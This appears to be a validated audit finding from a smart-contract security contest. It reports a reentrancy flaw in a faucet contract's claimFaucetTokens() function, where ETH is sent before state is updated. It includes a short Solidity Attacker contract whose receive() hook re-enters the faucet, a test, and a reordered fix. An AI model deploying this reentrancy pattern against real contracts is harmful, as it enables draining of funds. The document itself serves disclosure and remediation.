Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Checks–Effects–Interactions is not strictly followed in the function claimFaucetTokens()

Root + Impact

Checks–Effects–Interactions is not strictly followed in the function claimFaucetTokens(). It performs an external interaction (ETH call) before updating internal state. That opens up for reentrancy attack where that function can be re-entered before state updates.

Description

In the function claimFaucetTokens() external call is made which transfers execution.

The call is made here:

(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Then some lines after that , state updates as follows.

lastClaimTime[faucetClaimer] = block.timestamp;

dailyClaimCount++;

That is opening for reentrancy risk, see POC below.


Proof of Concept

A malicious attacker contract can be deployed that reenters during the ETH callback:

contract Attacker {
RaiseBoxFaucet public faucet;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
// Attack entry point
function attack() external {
faucet.claimFaucetTokens(); // triggers ETH drip and reentry
}
// Reentrancy trigger
receive() external payable {
if (address(faucet).balance >= 0.01 ether) {
faucet.claimFaucetTokens(); // attempt reentry
}
}
}
// Testing below
function testReentrancy() public {
Attacker attacker = new Attacker(address(faucet));
vm.expectRevert(); // or assert effects like double claim
attacker.attack();
}

Recommended Mitigation

Move the Interactions after state updates (_transfer() & call{value:} ). And then reentrancy modifider won't even be needed.

+ Move the Interactions after state updates (_transfer() (ERC20) then .call{value:}
function claimFaucetTokens() public {
address faucetClaimer = msg.sender;
// ========= CHECKS ========= //
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// Reset daily counters if 24h has passed
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// ========= EFFECTS ========= //
// Record that this address has claimed tokens
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Mark ETH drip as claimed here (if applicable), *before* sending ETH
bool shouldDripEth = !hasClaimedEth[faucetClaimer] && !sepEthDripsPaused;
if (shouldDripEth) {
hasClaimedEth[faucetClaimer] = true;
}
// ========= INTERACTIONS ========= //
// 1. Send faucet tokens <<=
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(faucetClaimer, faucetDrip);
// 2. Drip Sepolia ETH (if allowed and balance available) <<=
if (shouldDripEth) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.